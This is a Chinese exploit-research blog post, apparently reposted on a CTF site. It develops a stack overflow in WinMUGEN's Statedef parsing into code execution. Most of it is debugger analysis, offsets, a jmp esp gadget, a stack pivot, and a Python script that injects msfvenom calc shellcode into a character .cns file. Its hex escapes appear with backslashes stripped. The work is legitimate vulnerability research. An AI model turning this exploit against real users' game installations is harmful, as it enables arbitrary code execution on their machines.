mugen凶恶研究(2)——StateDef溢出

渗透技巧 1年前 (2023) admin
365 0 0

5.    StateDef溢出

通过搜索得知,其为[Statedef -3]中-3这部分的溢出,那么直接编写溢出代码,放在kfm.cns第一个Statedef之上。

[Statedef AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA][State 1, add]type = poweraddtrigger1 = 1value = 10

od不会智能跳转到溢出报错处,x64dbg可以。

mugen凶恶研究(2)——StateDef溢出

查看47ED05对应反编译代码,位于sub_47EBF0()——memset()

mugen凶恶研究(2)——StateDef溢出

memset()也会溢出吗?理论上并不会,用od断点47ED05,查看汇编对应的含义,就明白发生了什么。

mugen凶恶研究(2)——StateDef溢出

rep stos dword ptr es:[edi]
将edi开始的内存覆盖为eax(为0),4字节一次循环ecx次,这也正是memset()开辟内存核心汇编。而esi和edi都为41414141,很明显是因为前面47ECF2的汇编导致的。也就是说在47ED05之前,已经因为栈溢出覆盖掉了栈中一部分正常的地址,导致memset()报错。
那么具体是哪儿出现的栈溢出呢?稍微熟悉栈溢出的同学,往上翻一翻sub_47EBF0()的代码,就会发现正确答案。

mugen凶恶研究(2)——StateDef溢出

非常熟悉的strcpy(),v33只有64个字节,a3是个int,也就是原本为[Statedef -3]的-3,如果我们填充64个A,就会导致溢出。
动态调试后发现这个动作是在47EC37完成的,再写一个[Statedef AAAA]进去,两次断点来对比一下到底能覆盖哪些东西。

mugen凶恶研究(2)——StateDef溢出

可以看到覆盖了多个返回地址,实际测试下来其中有用的是D3FEE74,偏移量为Statedef+56,那么填充数据就是”Statedef “+”A”*55+”BBBB”,注意Statedef后面带个空格。
修改一下后逐步单步后发现尝试跳转到BBBB。

[Statedef AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB][State 1, add]type = poweraddtrigger1 = 1value = 10

mugen凶恶研究(2)——StateDef溢出

栈溢出最简单的利用方式是栈内执行,这需要无NX保护和jmp esp,winmugen刚好满足条件。其自带的ALLEG40.DLL在0x1005FB9D地址写着call esp。
checksec.exe Winmugen.exe
!mona jmp -r esp -cpb “x00”

mugen凶恶研究(2)——StateDef溢出

mugen凶恶研究(2)——StateDef溢出

那么利用python来替换字符串写入shellcode,当然惯例先用NOP尝试。

import os
if os.path.exists("kfm.cns.bak"): os.remove("kfm.cns") os.rename("kfm.cns.bak", "kfm.cns")
jmp_esp = "x10x05xfbx9d"[::-1]
payload = jmp_esp + "x90"*4
f = open("kfm.cns","r+")cns = f.read().replace("BBBB",payload)f.close()
os.rename("kfm.cns", "kfm.cns.bak")
f2 = open("kfm.cns","w")f2.write(cns)f2.close()

在1005FB9D下断点,但并没有达到理想中的效果进入栈中执行,动态调试后可以发现还是因为47ED05也就是memset报错。

mugen凶恶研究(2)——StateDef溢出

经过简单测试,可以发现47ED05被破坏的栈在ret地址后5-8位。

payload = jmp_esp + "x90"*4 + "AAAA"

mugen凶恶研究(2)——StateDef溢出

根据47ED05上的汇编,本质上是清空一段内存地址,那么我们需要使用一个可写的地址替换掉AAAA,让其不再报错。学习%n和%f的时候我们用过两个不重要的地址0x4b4048和0x4B4000,但由于它实际上是0x00开头的有坏字符所以不行。同理整个winmugen.exe都不行,还好ALLEG40.DLL都是0x10开头的地址,那我们在data断上找一个空白的地址就行。我这里随便选的0x1009BDAD。

jmp_esp = "x10x05xfbx9d"[::-1]addr = "x10x09xBDxAD"[::-1]
payload = jmp_esp + "x90"*4 + addr + "x90"*4

成功断到1005FB9D,栈布局也和我们溢出的一样。

mugen凶恶研究(2)——StateDef溢出

那么在127EEE78断点,F8后成功在栈上执行NOP

mugen凶恶研究(2)——StateDef溢出

这样就能执行shellcode了吗?还不行,因为我们增加了一个1009BDAD的原因,栈上会把这个地址当作汇编来使用,同样会报错导致无法执行后续的shellcode。这个时候可以利用jmp short跳过这段不可控的地址。

jmp_esp = "x10x05xfbx9d"[::-1]addr = "x10x09xBDxAD"[::-1]
payload = jmp_esp + "xebx08x90x90" + addr + "x90"*8

mugen凶恶研究(2)——StateDef溢出

可以看到刚好跳到NOP上,现在可以执行shellcode了吗?还是不行,因为溢出有长度限制,msfvenom最短也要220个字节,而我们只能在栈上控制164字节左右。

payload = jmp_esp + "xebx08x90x90" + addr + "x90"*8 + "A"*164

这里可以想办法缩短shellcode,但还是推荐另外一种不限shellcode长度的办法,参考Reboot人物。它的Reboot.st是这样的。

mugen凶恶研究(2)——StateDef溢出

使用它可以修改shutdown的字节,以免真的导致系统重启,断点47EC1C(sub_47EBF0较前的地址)动态调试。前面有很多无意义的Statedef,快速F9到溢出,也就是Statedef 5900后面一个。

mugen凶恶研究(2)——StateDef溢出

F8几下之后就会发现栈溢出,返回地址被覆盖为5D403246,和Reboot.st可以对应上。但剩下的并没有覆盖。

mugen凶恶研究(2)——StateDef溢出

再F8到47EC4E就会发现5D变成了00,为什么呢?因为x5D是],完成了对[Statedef的闭合。

mugen凶恶研究(2)——StateDef溢出

继续F8,可以看到Need at least one state controller提示,这是对state的检测,代码如下。

mugen凶恶研究(2)——StateDef溢出

可以看到离我们之前绕过的memset()非常近,而且这个代码中存在return。因为我们在溢出Statedef下面写了一个加气的state,所以走不进这个if中,所以才需要绕memset(),如果没有state,就可以提前return了。
代码走到retn,栈中可以看到,即将跳转到作者精心布置的一个地址403246

mugen凶恶研究(2)——StateDef溢出

mugen凶恶研究(2)——StateDef溢出

而这个地址的代码非常简单,add esp,0x10然后retn,也就是说再次跳转到栈+16的指针,也就是99E244A。

mugen凶恶研究(2)——StateDef溢出

这个地址里存储了溢出Statedef空格后面所有的字节,所以一开始就用jmp short跳到下面的NOP。此时shellcode长度的限制就完全没有了。我们先修改kfm.cns.bak代码。

[Statedef BBBB

然后写好python脚本。
msfvenom -p windows/exec cmd=”calc” exitfunc=thread -b “x00x1Ax3B” -f python

import os
buf = b""buf += b"xdaxd8xb8x8cxbcx61xa1xd9x74x24xf4x5ax2b"buf += b"xc9xb1x30x83xc2x04x31x42x14x03x42x98x5e"buf += b"x94x5dx48x1cx57x9ex88x41xd1x7bxb9x41x85"buf += b"x08xe9x71xcdx5dx05xf9x83x75x9ex8fx0bx79"buf += b"x17x25x6axb4xa8x16x4exd7x2ax65x83x37x13"buf += b"xa6xd6x36x54xdbx1bx6ax0dx97x8ex9bx3axed"buf += b"x12x17x70xe3x12xc4xc0x02x32x5bx5bx5dx94"buf += b"x5dx88xd5x9dx45xcdxd0x54xfdx25xaex66xd7"buf += b"x74x4fxc4x16xb9xa2x14x5ex7dx5dx63x96x7e"buf += b"xe0x74x6dxfdx3exf0x76xa5xb5xa2x52x54x19"buf += b"x34x10x5axd6x32x7ex7exe9x97xf4x7ax62x16"buf += b"xdbx0bx30x3dxffx50xe2x5cxa6x3cx45x60xb8"buf += b"x9fx3axc4xb2x0dx2ex75x99x5bxb1x0bxa7x29"buf += b"xb1x13xa8x1dxdax22x23xf2x9dxbaxe6xb7x42"buf += b"x59x23xcdxeaxc4xa6x6cx77xf7x1cxb2x8ex74"buf += b"x95x4ax75x64xdcx4fx31x22x0cx3dx2axc7x32"buf += b"x92x4bxc2x50x75xd8x8ex96"
if os.path.exists("kfm.cns.bak"): os.remove("kfm.cns") os.rename("kfm.cns.bak", "kfm.cns")

payload = "xEBx3Ax49"payload += "A" * 52payload += "x46x32x40x5Dx20x0Dx0A"payload += "x90" * 16payload += buf

f = open("kfm.cns","r+")cns = f.read().replace("BBBB",payload)f.close()
os.rename("kfm.cns", "kfm.cns.bak")
f2 = open("kfm.cns","w")f2.write(cns)f2.close();

效果如下。

mugen凶恶研究(2)——StateDef溢出

原文始发于微信公众号(珂技知识分享):mugen凶恶研究(2)——StateDef溢出

版权声明:admin 发表于 2023年4月4日 上午9:01。
转载请注明:mugen凶恶研究(2)——StateDef溢出 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...